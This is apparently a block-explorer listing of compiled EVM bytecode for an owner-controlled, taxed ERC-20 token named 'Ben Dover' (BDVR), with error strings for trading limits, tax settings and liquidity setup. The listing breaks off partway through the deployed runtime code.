ffff16815260200190815260200160002060009054906101000a900460ff16155b80156135485750600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15613611576003548311156135605760009050613610565b600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015613605575060045483600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461360391906146d1565b115b1561360f57600090505b5b5b809150509392505050565b600080600f60009054906101000a900460ff1615806136845750600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806136d85750600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156136e657600090506137ea565b600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613769576064600060149054906101000a900460ff1660ff168461375891906143df565b61376291906146a0565b90506137e9565b600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156137e8576064600060159054906101000a900460ff1660ff16846137db91906143df565b6137e591906146a0565b90505b5b5b809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561382f578082015181840152602081019050613814565b60008484015250505050565b6000601f19601f8301169050919050565b6000613857826137f5565b6138618185613800565b9350613871818560208601613811565b61387a8161383b565b840191505092915050565b6000602082019050818103600083015261389f818461384c565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006138d7826138ac565b9050919050565b6138e7816138cc565b81146138f257600080fd5b50565b600081359050613904816138de565b92915050565b6000819050919050565b61391d8161390a565b811461392857600080fd5b50565b60008135905061393a81613914565b92915050565b60008060408385031215613957576139566138a7565b5b6000613965858286016138f5565b92505060206139768582860161392b565b9150509250929050565b60008115159050919050565b61399581613980565b82525050565b60006020820190506139b0600083018461398c565b92915050565b6139bf8161390a565b82525050565b60006020820190506139da60008301846139b6565b92915050565b6139e981613980565b81146139f457600080fd5b50565b600081359050613a06816139e0565b92915050565b600080600060608486031215613a2557613a246138a7565b5b6000613a33868287016138f5565b9350506020613a44868287016139f7565b9250506040613a55868287016139f7565b9150509250925092565b60008060408385031215613a7657613a756138a7565b5b6000613a84858286016138f5565b9250506020613a95858286016139f7565b9150509250929050565b600060ff82169050919050565b613ab581613a9f565b82525050565b600061ffff82169050919050565b613ad281613abb565b82525050565b600060c082019050613aed6000830189613aac565b613afa6020830188613aac565b613b076040830187613ac9565b613b146060830186613ac9565b613b216080830185613ac9565b613b2e60a0830184613ac9565b979650505050505050565b600080600060608486031215613b5257613b516138a7565b5b6000613b60868287016138f5565b9350506020613b71868287016138f5565b9250506040613b828682870161392b565b9150509250925092565b6000602082019050613ba16000830184613aac565b92915050565b600060208284031215613bbd57613bbc6138a7565b5b6000613bcb8482850161392b565b91505092915050565b6000608082019050613be960008301876139b6565b613bf660208301866139b6565b613c0360408301856139b6565b613c1060608301846139b6565b95945050505050565b600060208284031215613c2f57613c2e6138a7565b5b6000613c3d848285016138f5565b91505092915050565b6000604082019050613c5b600083018561398c565b613c68602083018461398c565b9392505050565b600080600060608486031215613c8857613c876138a7565b5b6000613c96868287016138f5565b9350506020613ca7868287016138f5565b9250506040613cb8868287016138f5565b9150509250925092565b613ccb816138cc565b82525050565b600060a082019050613ce66000830188613cc2565b613cf36020830187613cc2565b613d006040830186613cc2565b613d0d6060830185613cc2565b613d1a6080830184613cc2565b9695505050505050565b613d2d81613abb565b8114613d3857600080fd5b50565b600081359050613d4a81613d24565b92915050565b60008060408385031215613d6757613d666138a7565b5b6000613d7585828601613d3b565b9250506020613d8685828601613d3b565b9150509250929050565b60008060408385031215613da757613da66138a7565b5b6000613db5858286016139f7565b9250506020613dc6858286016139f7565b9150509250929050565b60008060408385031215613de757613de66138a7565b5b6000613df5858286016138f5565b9250506020613e06858286016138f5565b9150509250929050565b600063ffffffff82169050919050565b613e2981613e10565b8114613e3457600080fd5b50565b600081359050613e4681613e20565b92915050565b60008060008060808587031215613e6657613e656138a7565b5b6000613e7487828801613e37565b9450506020613e8587828801613e37565b9350506040613e9687828801613e37565b9250506060613ea787828801613e37565b91505092959194509250565b6000613ebe826138ac565b9050919050565b613ece81613eb3565b8114613ed957600080fd5b50565b600081359050613eeb81613ec5565b92915050565b600060208284031215613f0757613f066138a7565b5b6000613f1584828501613edc565b91505092915050565b60008060008060808587031215613f3857613f376138a7565b5b6000613f4687828801613d3b565b9450506020613f5787828801613d3b565b9350506040613f6887828801613d3b565b9250506060613f7987828801613d3b565b91505092959194509250565b613f8e81613a9f565b8114613f9957600080fd5b50565b600081359050613fab81613f85565b92915050565b60008060408385031215613fc857613fc76138a7565b5b6000613fd685828601613f9c565b9250506020613fe785828601613f9c565b9150509250929050565b7f4f6e6c7920636f6e7472616374205f6f776e65722063616e2063616c6c20746860008201527f69732066756e6374696f6e000000000000000000000000000000000000000000602082015250565b600061404d602b83613800565b915061405882613ff1565b604082019050919050565b6000602082019050818103600083015261407c81614040565b9050919050565b7f4c50206578697374730000000000000000000000000000000000000000000000600082015250565b60006140b9600983613800565b91506140c482614083565b602082019050919050565b600060208201905081810360008301526140e8816140ac565b9050919050565b7f4e6f2045544820696e20636f6e74726163740000000000000000000000000000600082015250565b6000614125601283613800565b9150614130826140ef565b602082019050919050565b6000602082019050818103600083015261415481614118565b9050919050565b7f4e6f20746f6b656e7320696e20636f6e74726163740000000000000000000000600082015250565b6000614191601583613800565b915061419c8261415b565b602082019050919050565b600060208201905081810360008301526141c081614184565b9050919050565b6000815190506141d6816138de565b92915050565b6000602082840312156141f2576141f16138a7565b5b6000614200848285016141c7565b91505092915050565b600060408201905061421e6000830185613cc2565b61422b6020830184613cc2565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156142b85780860481111561429457614293614232565b5b60018516156142a35780820291505b80810290506142b185614261565b9450614278565b94509492505050565b6000826142d1576001905061438d565b816142df576000905061438d565b81600181146142f557600281146142ff5761432e565b600191505061438d565b60ff84111561431157614310614232565b5b8360020a91508482111561432857614327614232565b5b5061438d565b5060208310610133831016604e8410600b84101617156143635782820a90508381111561435e5761435d614232565b5b61438d565b614370848484600161426e565b9250905081840481111561438757614386614232565b5b81810290505b9392505050565b600061439f8261390a565b91506143aa83613a9f565b92506143d77fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846142c1565b905092915050565b60006143ea8261390a565b91506143f58361390a565b92508282026144038161390a565b9150828204841483151761441a57614419614232565b5b5092915050565b7f43616e6e6f74206578656d7074204c5000000000000000000000000000000000600082015250565b6000614457601083613800565b915061446282614421565b602082019050919050565b600060208201905081810360008301526144868161444a565b9050919050565b7f43616e6e6f74206368616e676520746865207072696d617279204c5000000000600082015250565b60006144c3601c83613800565b91506144ce8261448d565b602082019050919050565b600060208201905081810360008301526144f2816144b6565b9050919050565b7f54726164696e67206e6f74206f70656e00000000000000000000000000000000600082015250565b600061452f601083613800565b915061453a826144f9565b602082019050919050565b6000602082019050818103600083015261455e81614522565b9050919050565b60006145708261390a565b915061457b8361390a565b925082820390508181111561459357614592614232565b5b92915050565b7f546f6b656e2062616c616e636520746f6f206c6f770000000000000000000000600082015250565b60006145cf601583613800565b91506145da82614599565b602082019050919050565b600060208201905081810360008301526145fe816145c2565b9050919050565b7f4c502063616e6e6f74206265207461782077616c6c6574000000000000000000600082015250565b600061463b601783613800565b915061464682614605565b602082019050919050565b6000602082019050818103600083015261466a8161462e565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006146ab8261390a565b91506146b68361390a565b9250826146c6576146c5614671565b5b828204905092915050565b60006146dc8261390a565b91506146e78361390a565b92508282019050808211156146ff576146fe614232565b5b92915050565b7f7478206c696d697420746f6f206c6f7700000000000000000000000000000000600082015250565b600061473b601083613800565b915061474682614705565b602082019050919050565b6000602082019050818103600083015261476a8161472e565b9050919050565b7f77616c6c6574206c696d697420746f6f206c6f77000000000000000000000000600082015250565b60006147a7601483613800565b91506147b282614771565b602082019050919050565b600060208201905081810360008301526147d68161479a565b9050919050565b7f74726164696e6720616c7265616479206f70656e000000000000000000000000600082015250565b6000614813601483613800565b915061481e826147dd565b602082019050919050565b6000602082019050818103600083015261484281614806565b9050919050565b7f4e6f20746f6b656e730000000000000000000000000000000000000000000000600082015250565b600061487f600983613800565b915061488a82614849565b602082019050919050565b600060208201905081810360008301526148ae81614872565b9050919050565b7f4d696e4d6178206572726f720000000000000000000000000000000000000000600082015250565b60006148eb600c83613800565b91506148f6826148b5565b602082019050919050565b6000602082019050818103600083015261491a816148de565b9050919050565b7f5570706572207468726573686f6c6420746f6f206c6f77000000000000000000600082015250565b6000614957601783613800565b915061496282614921565b602082019050919050565b600060208201905081810360008301526149868161494a565b9050919050565b7f5570706572207468726573686f6c6420746f6f20686967680000000000000000600082015250565b60006149c3601883613800565b91506149ce8261498d565b602082019050919050565b600060208201905081810360008301526149f2816149b6565b9050919050565b6000819050919050565b6000614a1e614a19614a14846138ac565b6149f9565b6138ac565b9050919050565b6000614a3082614a03565b9050919050565b6000614a4282614a25565b9050919050565b614a5281614a37565b82525050565b6000602082019050614a6d6000830184614a49565b92915050565b6000614a7e82613abb565b9150614a8983613abb565b9250828201905061ffff811115614aa357614aa2614232565b5b92915050565b6000614ab482613a9f565b9150614abf83613a9f565b9250828201905060ff811115614ad857614ad7614232565b5b92915050565b7f526f756e647472697020746f6f20686967680000000000000000000000000000600082015250565b6000614b14601283613800565b9150614b1f82614ade565b602082019050919050565b60006020820190508181036000830152614b4381614b07565b9050919050565b6000819050919050565b6000614b6f614b6a614b6584614b4a565b6149f9565b61390a565b9050919050565b614b7f81614b54565b82525050565b600060c082019050614b9a6000830189613cc2565b614ba760208301886139b6565b614bb46040830187614b76565b614bc16060830186614b76565b614bce6080830185613cc2565b614bdb60a08301846139b6565b979650505050505050565b600081519050614bf581613914565b92915050565b600080600060608486031215614c1457614c136138a7565b5b6000614c2286828701614be6565b9350506020614c3386828701614be6565b9250506040614c4486828701614be6565b9150509250925092565b7f4e6f207472616e73666572732066726f6d205a65726f2077616c6c6574000000600082015250565b6000614c84601d83613800565b9150614c8f82614c4e565b602082019050919050565b60006020820190508181036000830152614cb381614c77565b9050919050565b7f54582065786365656473206c696d697473000000000000000000000000000000600082015250565b6000614cf0601183613800565b9150614cfb82614cba565b602082019050919050565b60006020820190508181036000830152614d1f81614ce3565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b614db9816138cc565b82525050565b6000614dcb8383614db0565b60208301905092915050565b6000602082019050919050565b6000614def82614d84565b614df98185614d8f565b9350614e0483614da0565b8060005b83811015614e35578151614e1c8882614dbf565b9750614e2783614dd7565b925050600181019050614e08565b5085935050505092915050565b600060a082019050614e5760008301886139b6565b614e646020830187614b76565b8181036040830152614e768186614de4565b9050614e856060830185613cc2565b614e9260808301846139b6565b969550505050505056fea26469706673582212202900a0d6cef7c95ed145a0e6b3d003f5116ebad67adcfc1d0f12a563b286b52f64736f6c63430008110033

Deployed Bytecode

0x6080604052600436106101855760003560e01c8063931b68ea116100d1578063c9567bf91161008a578063e4dbc45b11610064578063e4dbc45b1461059a578063f2fde38b146105c3578063f9fdeae3146105ec578063fd965024146106155761018c565b8063c9567bf91461051d578063d6f155ad14610534578063dd62ed3e1461055d5761018c565b8063931b68ea146103f657806395d89b41146104345780639fda05811461045f578063a39fac1214610488578063a9059cbb146104b7578063b1421803146104f45761018c565b806322a62e1e1161013e5780636d1b229d116101185780636d1b229d146103255780636f013db91461034e57806370a082311461037c5780637df0f767146103b95761018c565b806322a62e1e1461028d57806323b872dd146102bd578063313ce567146102fa5761018c565b80630210a83d1461019157806306fdde03146101a8578063095ea7b3146101d357806318160ddd1461021057806318839bc31461023b57806321c42e11146102645761018c565b3661018c57005b600080fd5b34801561019d57600080fd5b506101a661063e565b005b3480156101b457600080fd5b506101bd610afd565b6040516101ca9190613885565b60405180910390f35b3480156101df57600080fd5b506101fa60048036038101906101f59190613940565b610b3a565b604051610207919061399b565b60405180910390f35b34801561021c57600080fd5b50610225610c2c565b60405161023291906139c5565b60405180910390f35b34801561024757600080fd5b50610262600480360381019061025d9190613a0c565b610c4f565b005b34801561027057600080fd5b5061028b60048036038101906102869190613a5f565b610e2c565b005b34801561029957600080fd5b506102a261105c565b6040516102b496959493929190613ad8565b60405180910390f35b3480156102c957600080fd5b506102e460048036038101906102df9190613b39565b6110dd565b6040516102f1919061399b565b60405180910390f35b34801561030657600080fd5b5061030f6112e7565b60405161031c9190613b8c565b60405180910390f35b34801561033157600080fd5b5061034c60048036038101906103479190613ba7565b6112f0565b005b34801561035a57600080fd5b5061036361139c565b6040516103739493929190613bd4565b60405180910390f35b34801561038857600080fd5b506103a3600480360381019061039e9190613c19565b6113bc565b6040516103b091906139c5565b60405180910390f35b3480156103c557600080fd5b506103e060048036038101906103db9190613c19565b611405565b6040516103ed919061399b565b60405180910390f35b34801561040257600080fd5b5061041d60048036038101906104189190613c19565b61145b565b60405161042b929190613c46565b60405180910390f35b34801561044057600080fd5b50610449611501565b6040516104569190613885565b60405180910390f35b34801561046b57600080fd5b5061048660048036038101906104819190613c6f565b61153e565b005b34801561049457600080fd5b5061049d61192d565b6040516104ae959493929190613cd1565b60405180910390f35b3480156104c357600080fd5b506104de60048036038101906104d99190613940565b6119f4565b6040516104eb919061399b565b60405180910390f35b34801561050057600080fd5b5061051b60048036038101906105169190613d50565b611a51565b005b34801561052957600080fd5b50610532611c0d565b005b34801561054057600080fd5b5061055b60048036038101906105569190613d90565b611cf5565b005b34801561056957600080fd5b50610584600480360381019061057f9190613dd0565b611e41565b60405161059191906139c5565b60405180910390f35b3480156105a657600080fd5b506105c160048036038101906105bc9190613e4c565b611ec8565b005b3480156105cf57600080fd5b506105ea60048036038101906105e59190613ef1565b612103565b005b3480156105f857600080fd5b50610613600480360381019061060e9190613f1e565b61220b565b005b34801561062157600080fd5b5061063c60048036038101906106379190613fb1565b612334565b005b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146106cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106c390614063565b60405180910390fd5b6001600f60016101000a81548160ff021916908315150217905550600073ffffffffffffffffffffffffffffffffffffffff16600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610778576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161076f906140cf565b60405180910390fd5b600047116107bb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107b29061413b565b60405180910390fd5b6000600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541161083d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610834906141a7565b60405180910390fd5b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108aa573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108ce91906141dc565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610957573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061097b91906141dc565b6040518363ffffffff1660e01b8152600401610998929190614209565b6020604051808303816000875af11580156109b7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109db91906141dc565b600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610a66600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205447600061244e565b6001600e6000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506000600f60016101000a81548160ff021916908315150217905550565b60606040518060400160405280600981526020017f42656e20446f7665720000000000000000000000000000000000000000000000815250905090565b600081600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610c1a91906139c5565b60405180910390a36001905092915050565b60006009600a610c3c9190614394565b6207a120610c4a91906143df565b905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610cdd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cd490614063565b60405180910390fd5b8080610ce65750815b15610d7957600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610d78576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d6f9061446d565b60405180910390fd5b5b81600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610eba576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eb190614063565b60405180910390fd5b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610f4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f41906144d9565b60405180910390fd5b80600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508015611058576000600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506000600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5050565b600080600080600080600060149054906101000a900460ff16600060159054906101000a900460ff16600060169054906101000a900461ffff16600060189054906101000a900461ffff166000601c9054906101000a900461ffff166000601a9054906101000a900461ffff16955095509550955095509550909192939495565b60006110e88461253c565b611127576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111e90614545565b60405180910390fd5b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054146112d35781600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112529190614565565b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6112de848484612617565b90509392505050565b60006009905090565b60006112fb336113bc565b905080821115611340576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611337906145e5565b60405180910390fd5b61134a3383612b46565b3373ffffffffffffffffffffffffffffffffffffffff167ffd38818f5291bf0bb3a2a48aadc06ba8757865d1dabd804585338aab3009dcb68360405161139091906139c5565b60405180910390a25050565b600080600080600354600454600554600654935093509350935090919293565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600080600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1691509150915091565b60606040518060400160405280600481526020017f4244565200000000000000000000000000000000000000000000000000000000815250905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146115cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115c390614063565b60405180910390fd5b600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116705750600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156116c65750600e60008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611705576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116fc90614651565b60405180910390fd5b82600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550505050565b60008060008060008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16945094509450945094509091929394565b60006119ff3361253c565b611a3e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a3590614545565b60405180910390fd5b611a49338484612617565b905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611adf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ad690614063565b60405180910390fd5b600060016103e88461ffff166009600a611af99190614394565b6207a120611b0791906143df565b611b1191906143df565b611b1b91906146a0565b611b2591906146d1565b9050600354811015611b6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b6390614751565b60405180910390fd5b80600381905550600060016103e88461ffff166009600a611b8d9190614394565b6207a120611b9b91906143df565b611ba591906143df565b611baf91906146a0565b611bb991906146d1565b9050600454811015611c00576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bf7906147bd565b60405180910390fd5b8060048190555050505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611c9b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c9290614063565b60405180910390fd5b600f60009054906101000a900460ff1615611ceb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ce290614829565b60405180910390fd5b611cf3612c66565b565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611d83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d7a90614063565b60405180910390fd5b8115611de4576000611d94306113bc565b905060008111611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd090614895565b60405180910390fd5b611de281612cf7565b505b8015611e3d57600047905060008111611e32576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e2990614895565b60405180910390fd5b611e3b47612f16565b505b5050565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611f56576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f4d90614063565b60405180910390fd5b8263ffffffff168463ffffffff166009600a611f729190614394565b6207a120611f8091906143df565b611f8a91906143df565b611f9491906146a0565b6005819055508063ffffffff168263ffffffff166009600a611fb69190614394565b6207a120611fc491906143df565b611fce91906143df565b611fd891906146a0565b6006819055506005546006541015612025576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161201c90614901565b60405180910390fd5b620186a06009600a6120379190614394565b6207a12061204591906143df565b61204f91906146a0565b60065411612092576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120899061496d565b60405180910390fd5b60646009600a6120a29190614394565b6207a1206120b091906143df565b6120ba91906146a0565b600654106120fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120f4906149d9565b60405180910390fd5b50505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612191576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161218890614063565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc686163816040516122009190614a58565b60405180910390a150565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612299576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161229090614063565b60405180910390fd5b826000601c6101000a81548161ffff021916908361ffff16021790555081600060166101000a81548161ffff021916908361ffff16021790555080600060186101000a81548161ffff021916908361ffff160217905550808284866122fe9190614a73565b6123089190614a73565b6123129190614a73565b6000601e6101000a81548161ffff021916908361ffff16021790555050505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146123c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123b990614063565b60405180910390fd5b606381836123d09190614aa9565b60ff161115612414576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161240b90614b2a565b60405180910390fd5b81600060146101000a81548160ff021916908360ff16021790555080600060156101000a81548160ff021916908360ff1602179055505050565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050811561248057600090505b612489846130a5565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71984308760008087426040518863ffffffff1660e01b81526004016124f096959493929190614b85565b60606040518083038185885af115801561250e573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906125339190614bfb565b50505050505050565b60008060009050600f60009054906101000a900460ff1615612561576001905061260e565b600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156126035750600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561260d57600190505b5b80915050919050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603612687576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161267e90614c9a565b60405180910390fd5b600f60009054906101000a900460ff1661277d57600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561273d5750600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61277c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161277390614545565b60405180910390fd5b5b600f60019054906101000a900460ff161580156127e35750600e60008473ffffffffffffffffffffffffffffffffffffffff1673fffffffffffffffffffffffff